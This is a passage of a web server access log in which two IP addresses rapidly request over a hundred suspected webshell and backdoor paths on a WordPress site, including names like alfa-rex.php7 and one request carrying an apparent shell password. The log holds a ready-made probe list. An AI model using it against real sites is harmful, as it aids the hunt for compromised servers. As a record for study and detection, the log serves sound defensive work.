HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:33 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:33 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:34 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:34 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:34 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:34 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:35 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:35 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:35 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:36 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:36 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 